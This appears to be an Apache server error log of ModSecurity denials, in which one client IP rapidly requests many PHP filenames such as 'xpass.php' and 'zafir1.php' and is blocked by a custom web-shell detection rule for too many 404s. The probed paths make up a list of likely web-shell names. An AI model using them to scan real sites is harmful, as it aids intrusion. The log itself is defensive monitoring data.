[Wed Jan 07 00:18:22.830472 2026] [:error] [pid 44903:tid 44913] [client 20.196.88.169:4011] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f-401.php"] [unique_id "aV01zthHqjs38zbkQPBR6AAAAAY"]
[Wed Jan 07 00:18:23.100395 2026] [:error] [pid 44903:tid 44914] [client 20.196.88.169:24961] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f-401.php"] [unique_id "aV01z9hHqjs38zbkQPBR6gAAAAc"]
[Wed Jan 07 00:18:23.369984 2026] [:error] [pid 45959:tid 45983] [client 20.196.88.169:30162] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f-401.php"] [unique_id "aV01z1ajdn8P3hjgMYwzcgAAAVU"]
[Wed Jan 07 00:18:23.640172 2026] [:error] [pid 44903:tid 44921] [client 20.196.88.169:17031] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/see.php"] [unique_id "aV01z9hHqjs38zbkQPBR6wAAAA4"]
[Wed Jan 07 00:18:23.911582 2026] [:error] [pid 35140:tid 35152] [client 20.196.88.169:24987] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/see.php"] [unique_id "aV01z3oQaIDFMbT-XMwJPQAAAQo"]
[Wed Jan 07 00:18:24.180409 2026] [:error] [pid 44904:tid 44964] [client 20.196.88.169:3985] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/see.php"] [unique_id "aV010DtieuI1BJEZcvdrggAAAFc"]
[Wed Jan 07 00:18:24.450157 2026] [:error] [pid 44903:tid 44916] [client 20.196.88.169:17035] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/see.php"] [unique_id "aV010NhHqjs38zbkQPBR7wAAAAk"]
[Wed Jan 07 00:18:24.722589 2026] [:error] [pid 44905:tid 44990] [client 20.196.88.169:27864] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aV010Lu7ufwWVst9EAsiBQAAAJY"]
[Wed Jan 07 00:18:24.991910 2026] [:error] [pid 45959:tid 45978] [client 20.196.88.169:27863] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aV010Fajdn8P3hjgMYwzdAAAAVA"]
[Wed Jan 07 00:18:25.260837 2026] [:error] [pid 45012:tid 45035] [client 20.196.88.169:13376] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aV010RaMAxCuju1d0uZCvQAAANU"]
[Wed Jan 07 00:18:25.529341 2026] [:error] [pid 45012:tid 45037] [client 20.196.88.169:30174] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aV010RaMAxCuju1d0uZCvwAAANc"]
[Wed Jan 07 00:18:25.798461 2026] [:error] [pid 44903:tid 44917] [client 20.196.88.169:13415] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aV010dhHqjs38zbkQPBR8gAAAAo"]
[Wed Jan 07 00:18:26.066579 2026] [:error] [pid 44903:tid 44932] [client 20.196.88.169:24996] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aV010thHqjs38zbkQPBR9AAAABc"]
[Wed Jan 07 00:18:26.335652 2026] [:error] [pid 45012:tid 45015] [client 20.196.88.169:13405] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aV010haMAxCuju1d0uZCwgAAAME"]
[Wed Jan 07 00:18:26.606558 2026] [:error] [pid 45012:tid 45029] [client 20.196.88.169:29548] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aV010haMAxCuju1d0uZCwwAAAM8"]
[Wed Jan 07 00:18:26.878740 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:15319] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aV010haMAxCuju1d0uZCxgAAANM"]
[Wed Jan 07 00:18:27.149271 2026] [:error] [pid 45012:tid 45021] [client 20.196.88.169:24979] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aV010xaMAxCuju1d0uZCyAAAAMc"]
[Wed Jan 07 00:18:27.418250 2026] [:error] [pid 45012:tid 45018] [client 20.196.88.169:27858] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aV010xaMAxCuju1d0uZCyQAAAMQ"]
[Wed Jan 07 00:18:27.685946 2026] [:error] [pid 44904:tid 44956] [client 20.196.88.169:17037] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waw.php"] [unique_id "aV010ztieuI1BJEZcvdrgwAAAE8"]
[Wed Jan 07 00:18:27.959121 2026] [:error] [pid 44904:tid 44963] [client 20.196.88.169:30166] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aV010ztieuI1BJEZcvdrhAAAAFY"]
[Wed Jan 07 00:18:28.234613 2026] [:error] [pid 44903:tid 44914] [client 20.196.88.169:24989] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aV011NhHqjs38zbkQPBR-QAAAAc"]
[Wed Jan 07 00:18:28.504291 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:27847] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aV011Fajdn8P3hjgMYwzewAAAUg"]
[Wed Jan 07 00:18:28.774103 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:29533] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aV011Fajdn8P3hjgMYwzfAAAAUs"]
[Wed Jan 07 00:18:29.044835 2026] [:error] [pid 45959:tid 45967] [client 20.196.88.169:27849] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aV011Vajdn8P3hjgMYwzfQAAAUU"]
[Wed Jan 07 00:18:29.316329 2026] [:error] [pid 45012:tid 45020] [client 20.196.88.169:17076] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aV011RaMAxCuju1d0uZCzgAAAMY"]
[Wed Jan 07 00:18:29.587782 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:17043] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aV011Vajdn8P3hjgMYwzgAAAAU0"]
[Wed Jan 07 00:18:29.858800 2026] [:error] [pid 45959:tid 45971] [client 20.196.88.169:3979] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aV011Vajdn8P3hjgMYwzgwAAAUk"]
[Wed Jan 07 00:18:30.139206 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:14177] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpass.php"] [unique_id "aV011lajdn8P3hjgMYwzhQAAAUg"]
[Wed Jan 07 00:18:30.428068 2026] [:error] [pid 45012:tid 45026] [client 20.196.88.169:17051] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpass.php"] [unique_id "aV011haMAxCuju1d0uZC0QAAAMw"]
[Wed Jan 07 00:18:30.697885 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:25004] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpass.php"] [unique_id "aV011lajdn8P3hjgMYwzigAAAUs"]
[Wed Jan 07 00:18:30.969006 2026] [:error] [pid 35140:tid 35159] [client 20.196.88.169:29993] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpass.php"] [unique_id "aV011noQaIDFMbT-XMwJQwAAARE"]
[Wed Jan 07 00:18:31.239799 2026] [:error] [pid 45012:tid 45031] [client 20.196.88.169:3364] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aV011xaMAxCuju1d0uZC1AAAANE"]
[Wed Jan 07 00:18:31.510486 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:4008] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aV011xaMAxCuju1d0uZC1gAAANM"]
[Wed Jan 07 00:18:31.780018 2026] [:error] [pid 45959:tid 45972] [client 20.196.88.169:13400] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aV0111ajdn8P3hjgMYwzkAAAAUo"]
[Wed Jan 07 00:18:32.062760 2026] [:error] [pid 44905:tid 44970] [client 20.196.88.169:4024] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aV012Lu7ufwWVst9EAsiDQAAAII"]
[Wed Jan 07 00:18:32.338228 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:30182] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aV012Fajdn8P3hjgMYwzlAAAAUg"]
[Wed Jan 07 00:18:32.608579 2026] [:error] [pid 45959:tid 45978] [client 20.196.88.169:23867] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aV012Fajdn8P3hjgMYwzlgAAAVA"]
[Wed Jan 07 00:18:32.882722 2026] [:error] [pid 44905:tid 44984] [client 20.196.88.169:27857] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aV012Lu7ufwWVst9EAsiEAAAAJA"]
[Wed Jan 07 00:18:33.153463 2026] [:error] [pid 44905:tid 44983] [client 20.196.88.169:23843] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aV012bu7ufwWVst9EAsiEQAAAI8"]
[Wed Jan 07 00:18:33.426356 2026] [:error] [pid 45959:tid 45980] [client 20.196.88.169:17053] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zafir1.php"] [unique_id "aV012Vajdn8P3hjgMYwzmAAAAVI"]
[Wed Jan 07 00:18:33.698642 2026] [:error] [pid 44905:tid 44971] [client 20.196.88.169:3996] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zafir1.php"] [unique_id "aV012bu7ufwWVst9EAsiEwAAAIM"]
[Wed Jan 07 00:18:33.970809 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:3337] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zafir1.php"] [unique_id "aV012Vajdn8P3hjgMYwzmwAAAVE"]
[Wed Jan 07 00:18:34.240969 2026] [:error] [pid 44905:tid 44977] [client 20.196.88.169:23828] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zafir1.php"] [unique_id "aV012ru7ufwWVst9EAsiFAAAAIk"]
[Wed Jan 07 00:18:34.534893 2026] [:error] [pid 35140:tid 35162] [client 20.196.88.169:25007] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aV012noQaIDFMbT-XMwJTwAAARQ"]
[Wed Jan 07 00:18:34.804565 2026] [:error] [pid 44904:tid 44942] [client 20.196.88.169:27902] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aV012jtieuI1BJEZcvdriQAAAEE"]
[Wed Jan 07 00:18:35.078236 2026] [:error] [pid 44904:tid 44965] [client 20.196.88.169:13379] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aV012ztieuI1BJEZcvdrigAAAFg"]
[Wed Jan 07 00:18:35.348459 2026] [:error] [pid 44905:tid 44981] [client 20.196.88.169:29522] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aV0127u7ufwWVst9EAsiFwAAAI0"]
[Wed Jan 07 00:18:35.617333 2026] [:error] [pid 45959:tid 45983] [client 20.196.88.169:4059] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/quoys.php"] [unique_id "aV0121ajdn8P3hjgMYwzoQAAAVU"]
[Wed Jan 07 00:18:35.888265 2026] [:error] [pid 44903:tid 44917] [client 20.196.88.169:13436] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/quoys.php"] [unique_id "aV0129hHqjs38zbkQPBSAgAAAAo"]
[Wed Jan 07 00:18:36.159868 2026] [:error] [pid 45012:tid 45026] [client 20.196.88.169:3977] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/quoys.php"] [unique_id "aV013BaMAxCuju1d0uZC3AAAAMw"]
[Wed Jan 07 00:18:36.429352 2026] [:error] [pid 44903:tid 44924] [client 20.196.88.169:17086] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/quoys.php"] [unique_id "aV013NhHqjs38zbkQPBSAwAAABE"]
[Wed Jan 07 00:18:36.699481 2026] [:error] [pid 35140:tid 35149] [client 20.196.88.169:3234] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aV013HoQaIDFMbT-XMwJUQAAAQc"]
[Wed Jan 07 00:18:36.969105 2026] [:error] [pid 45959:tid 45980] [client 20.196.88.169:17039] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aV013Fajdn8P3hjgMYwzpAAAAVI"]
[Wed Jan 07 00:18:37.239644 2026] [:error] [pid 44905:tid 44978] [client 20.196.88.169:27903] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aV013bu7ufwWVst9EAsiGgAAAIo"]
[Wed Jan 07 00:18:37.510643 2026] [:error] [pid 44905:tid 44970] [client 20.196.88.169:3997] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aV013bu7ufwWVst9EAsiHAAAAII"]
[Wed Jan 07 00:18:37.780984 2026] [:error] [pid 44903:tid 44908] [client 20.196.88.169:27856] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aV013dhHqjs38zbkQPBSBQAAAAE"]
[Wed Jan 07 00:18:38.057027 2026] [:error] [pid 35140:tid 35163] [client 20.196.88.169:4083] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aV013noQaIDFMbT-XMwJUwAAARU"]
